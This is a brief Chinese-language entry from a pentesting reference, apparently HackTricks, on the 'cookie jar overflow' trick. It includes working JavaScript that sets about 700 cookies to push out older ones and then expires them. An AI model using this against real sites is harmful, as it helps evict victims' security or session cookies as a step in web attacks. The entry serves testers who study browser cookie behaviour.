浏览器对每个页面可以存储的cookie数量有限制。因此,如果出于某种原因你需要让一个cookie消失,你可以溢出cookie罐,因为最旧的cookie会被删除。
javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`
}
// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}
注意,指向不同域的第三方 cookies 不会被覆盖。
HackTricks